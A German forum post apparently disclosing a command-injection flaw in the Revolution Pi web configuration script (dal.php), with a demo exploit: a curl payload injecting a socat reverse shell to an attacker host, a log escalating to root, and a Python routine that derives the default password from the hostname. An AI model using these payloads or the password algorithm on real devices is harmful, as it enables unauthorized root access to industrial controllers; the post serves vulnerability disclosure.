Sicherheit - Ausführen von beliebigem Code per Webserver möglich
Posted: 19 Feb 2018, 14:50
Moin,
Zeile 445 hat eine Sicherheitslücke, über die man beliebigen Code auf dem RevPi ausführen kann:
müsste escaped werden, siehe https://secure.php.net/manual/en/functi ... ellarg.php
Der Rest vom PHP-Code ist auch nicht wirklich sicher. Man kann z. B. den Hostnamen und das Default-Passwort ohne Authentifizierung abfragen. Ich glaube das Skript sollte besser nochmal neu gemacht werden.
Hier ist ein Demo-Exploit, mit dem eine Reverse-Shell zu einem anderen Rechner aufgebaut werden kann.
Auf dem Rechner des Angreifers ausführen (Port 31337 muss vom RevPi aus erreichbar sein):
Und um die Shell zu starten (Es muss socat installiert sein. Wenn nicht gibt's auch genug andere Möglichkeiten.):
"angreifer-ip-adresse" und "revpi-ip-addresse" müssen entsprechend angepasst werden.
Wenn das Default-Passwort nicht geändert ist, ist der Weg zum Root nicht weit:
Und noch eine Anmerkung zum Default-Passwort: Das lässt sich aus dem Hostnamen (z. B. "JZKTK64C7R" --> "5r2v5o") mit folgendem Programm berechnen. Deshalb sollte das Passwort *wirklich* geändert werden.
Beste Grüße!
Code: Select all
/var/www/php/dal.php
Code: Select all
exec('/usr/bin/sudo /usr/bin/revpi-config ' .($configVal07 == 0 ? 'disable':'enable'). ' downclock-cpu ' . ($configVal07 == 0 ? "" : $configVal07Par00), $output, $retval);
Code: Select all
$configVal07Par00
Der Rest vom PHP-Code ist auch nicht wirklich sicher. Man kann z. B. den Hostnamen und das Default-Passwort ohne Authentifizierung abfragen. Ich glaube das Skript sollte besser nochmal neu gemacht werden.
Hier ist ein Demo-Exploit, mit dem eine Reverse-Shell zu einem anderen Rechner aufgebaut werden kann.
Auf dem Rechner des Angreifers ausführen (Port 31337 muss vom RevPi aus erreichbar sein):
Code: Select all
socat file:`tty`,raw,echo=0 tcp-listen:31337
Code: Select all
curl --data-raw '{"mode": "SAVE_CONFIG", "configVal07": "1", "configVal07Par00": "600 ; socat \"exec:bash -li,pty,stderr,setsid,sigint,sane\" tcp:angreifer-ip-adresse:31337"}' http://revpi-ip-addresse/php/dal.php
Wenn das Default-Passwort nicht geändert ist, ist der Weg zum Root nicht weit:
Code: Select all
angreifer$ socat file:`tty`,raw,echo=0 tcp-listen:31337
www-data@RevPi1234:/var/www/php$ piSerial
01XXXXXXXXXXXXXX JZKTK64C7R 5r2v5o
www-data@RevPi1234:/var/www/php$ su - pi
Password:
pi@RevPi1234:~$ sudo -i
root@RevPi1234:~# id
uid=0(root) gid=0(root) groups=0(root)
Code: Select all
#!/usr/bin/python3
import sys
hn_chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ12345678'
pw_chars = 'hancvo714xqwelm289rtz0356sdfgybp'
tmp = 0x7a72f16e98db
for i, c in enumerate(sys.argv[1].upper()):
tmp ^= hn_chars.index(c) << (5 * i)
tmp ^= ((tmp >> 32) & 0xff) << 0
tmp ^= ((tmp >> 40) & 0xff) << 16
pwd = ''.join(pw_chars[(tmp >> (5 * i)) % 32] for i in range(6))
print(pwd)
Beste Grüße!